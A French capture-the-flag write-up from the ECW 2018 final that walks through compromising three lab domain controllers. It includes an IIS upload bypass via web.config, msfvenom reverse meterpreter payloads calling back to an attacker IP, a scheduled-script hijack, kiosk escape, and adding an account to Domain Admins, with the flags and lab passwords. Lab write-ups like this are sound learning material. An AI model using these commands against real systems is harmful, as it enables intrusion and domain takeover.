Challenge: Audit d’Active Directry

Points: 315 pts

Catégorie: Web~Forensics

Ce challenge était disponible lors de la finale de l’ECW qui s’est déroulée à Rennes Mercredi 21 novembre 2018, pour une durée de 6h.

(PS: je n’ai pas eu la présence d’esprit de prendre des captures d’écran lors de l’événement, je vais tenter d’expliquer le processus de mon mieux)

Énoncé: Des h4ck3rs ont réussi à rentrer dans notre système et à compromettre nos contrôleurs de domaine “ALPHA-DC, BETA-DC et GAMMA-DC” (il est également dit que les machines sont toutes à jour, inutile de perdre son temps a essayer de trouver un exploit).

Le but: utiliser le même vecteur d’attaque que les hackers pour infiltrer les contrôleurs de domaine et récupérer un tas de flags sur notre route.

Tout d’abord, il fallait trouver l’IP des contrôleurs de domaine, on avait juste l’information qu’ils se trouvaient sur le sous réseau “192.168.130.0/24”.

Après un bref “nmap -A 192.168.130.0/24”, on se retrouve avec trois IPs:

• 192.168.130.10 – ALPHA-DC
• 192.168.130.20 – BETA-DC
• 192.168.130.30 – GAMMA-DC

Sur ces trois machines se trouvaient tout un tas de ports ouverts par défaut de Windows, je vais lister ici les plus intéressants pour la résolution du challenge:

• ALPHA-DC:
  • 80 – HTTP (Serveur IIS)
  • 88 – Kerberos
  • 445 -SMB
  • 3389 – RDP
• BETA-DC:
  • 445 – SMB
  • 3389 – RDP
• GAMMA-DC:
  • 445 – SMB

Tout commence sur le ALPHA-DC et le serveur IIS pour être précis.

On y trouve une page d’analyse de configuration de maison connectée. Après une petite investigation du site, la seule partie intéressante se trouve dans l’upload de fichiers. On nous précise que les types de fichiers acceptés sont TXT, JSON et CONFIG.

J’ai donc commencé mon analyse de cet upload par essayer :

• Upload type MIME, mais là le système regardait uniquement l’extension du fichier pour vérifier la conformité de l’upload.
• Double extension file upload (exemple: fichier.php%0d.json) on sait jamais, sur un malentendu…

Lors de mes tests, et comme j’écris avec des moufles, j’ai fait une faute de frappe dans burp, ce qui à résulté en un upload de fichier comme ceci:

Notez que le retour à la ligne entre “php” et “.json” était la faute de frappe.

Cet upload a donc résulté en une erreur Runtime que voici:

De là, on voit directement qu’il faut exploiter l’upload pour passer un fichier “web.config” afin de pouvoir exécuter du code machine. Après une courte recherche de PoCs sur internet, Iheb et moi-même avons trouvé un PoC très bien expliqué, avec même un bout de code qui fonctionnait (lien ici) (il fallait changer le directory d’uplaod du PoC en Uploads, sinon ça ne marchait pas !).

Une fois upload, je me suis donc occupé du reste du challenge. J’ai commencé par passer d’une RCE à une session meterpreter, bien plus pratique pour exploiter la faille.

J’ai donc généré un reverse meterpreter via msfvenom avec la commande suivante:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.134.102 LPORT=9960 -f exe -o payload.exe

Ensuite, j’ai renommé le fichier “payload.exe” en “payload.exe.json” pour le faire passer via l’upload du site. Puis j’ai renommé le fichier depuis la RCE avec une petite commande windows: “rename c:\Inetpub\wwwroot\Uploads\payload.exe.json payload.exe”, And Voilà ! il manque plus qu’à lancer msfconsole de notre côté et taper les commandes suivantes:

• use exploit/multi/handler
• set lhost 0.0.0.0
• set lport 9960
• set autorunscript post/windows/manage/migrate (cette ligne c’est pour migrer directement le processus qui se connecte à meterpreter vers un notepad.exe ou explorer.exe, ca améliore la stabilité de la session meterpreter)

Et enfin, on appelle notre “payload.exe” depuis la RCE: “c:\Inetpub\wwwroot\Uploads\payload.exe”

Une fois notre session meterpreter connectée et migré, on peut lire le premier flag: meterpreter> cat c:\inetpub\flag.ecw.txt.

Dans ce fichier de flag, on avait un hint pour la suite: il s’agit maintenant de s’attaquer à l’utilisateur Magnat.ecw, le prochain flag étant ECW{md5(password de magnat.ecw)}.

Après quelques recherches sur le système, on trouve un répertoire à la racine nommé “script”, contenant un fichier “log.txt”. Ce fichier log est constitué de plusieurs lignes identiques “Please create the file : input_var.txt with some command”. Aussitôt demandé, je m’exécute, je place donc un fichier “input_var.txt” dans “c:\script\”, via l’upload meterpreter, contenant une ligne: “whoami”. Quelques secondes après, le fichier “log.txt” contient l’information suivante:

“CHALLENGEECW\Magnat.ecw”

Ce qui signifie que les commandes entrées dans ce fichier sont exécutées avec le compte Magnat.ecw ! Super ! De là, me vient l’idée de créer un deuxième payload meterpreter pour faire un reverse_TCP sur un deuxieme port de ma machine:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.134.102 LPORT=9960 -f exe -o payload_M.exe

meterpreter> cd c:\script

meterpreter> upload payload_M.exe

echo “c:\script\payload_M.exe” > input_var.txt

meterpreter> upload input_var.txt

Avec ces commandes successives, j’arrive à demander au script qui exécute les commandes dans input_var.txt d’exécuter le reverse_TCP avec l’utilisateur Magnat.ecw !

Après quelques secondes, j’ai donc le payload_M.exe qui est exécuté et j’arrive à avoir un shell avec l’utilisateur Magnat ! Super !

On peut donc aller fouiller dans les documents de cet utilisateurs et on y trouve tout un tas de choses intéressantes. Je suis tout de suite attiré par le fichier “magnat.kbdx” qui est une base de données KeePass (KeePass est un outil de gestion de mot de passe, il permet de créer des fichiers *.kbdx qui sont des bases de données chiffrées par un mot de passe, renseigné par l’utilisateur).

Je procède donc au téléchargement de ce fichier via meterpreter: “meterpreter> download magnat.kbdx”

je télécharge ensuite KeePassX qui permet d’ouvrir les bases de données keepass. Vient maintenant la seule partie de GUESSING (wou Putain) du challenge: deviner le mot de passe de la base. Heureusement, c’était pas très dur, le mot de passe était “password”, voilà son contenu:

Flag2: ECW{4ea658e74a44a00c651194b52c4d2c35}

Et en prime, on a encore un hint: il faut se connecter sur BETA-DC en RDP avec l’utilisateur Magnat.ecw.

On renseigne le password “h3r3_y0u_g0!” et hop on arrive à se connecter au BETA-DC.

On tombe sur une application de jeu de poker qui démarre à la place d’explorer.exe. Ne sachant pas jouer au poker, je suis immédiatement allé dans la configuration du jeu, et j’ai ouvert une fenêtre d’exploration de fichier (servant à la base à choisir la destination de la sauvegarde du fichier de logs de l’application), et par un simple “clic droit -> ouvrir dans une nouvelle fenêtre” sur un dossier, on arrive a faire spawn une instance d’explorer.exe. Une fois fait, on se rend dans les documents de l’utilisateur courant et on trouve le troisième flag.

On a une dernière indication, un nouveau compte:

username: Epigone.ecw

password: p0wershell_1s_c00l

Yeah ! maintenant, il faut trouver quoi en faire. Pendant mes investigations, j’avais essayé de me connecter à ALPHA-DC avec le compte “Magnat.ecw”, mais apparemment ce compte n’était pas dans les utilisateurs “remote desktop” et ne pouvait donc pas y accéder. J’ai donc eu l’idée de me connecter sur ALPHA-DC avec le compte “Epigone.ecw” et bingo !

La dernière tâche était de compromettre “GAMMA-DC”, dont le port 3389 (RDP) n’était pas activé.

Au début j’ai tenté diverses méthodes, qui se sont montrées infructueuses (golden ticket etc.). Je suis donc revenu aux bases (ALPHA-DC n’était pas un RODC, c’est important de le préciser).

J’ai ouvert un CMD en mode administrateur (le compte Epigone.ecw était administrateur sur ALPHA-DC), et j’ai tapé les commandes suivantes:

net group “Admins du domaine” epigone.ecw /add

repadmin /syscall /AeD

On a ainsi ajouté l’utilisateur epigone.ecw en Admins du domaine, puis répliqué les domaines entre eux.

Il suffit maintenant d’aller chercher le dernier flag sur \\192.168.130.30\c$\Users\Administrateur\Bureau\flag.txt

Voilou ! C’était pas particulièrement dur, mais très intéressant, et la dose de guessing, comparé aux qualifications, ca n’a rien à voir 😉

Mon équipe à terminé 10ème sur 16, c’est pas trop mal pour un premier CTF physique !

Labiz.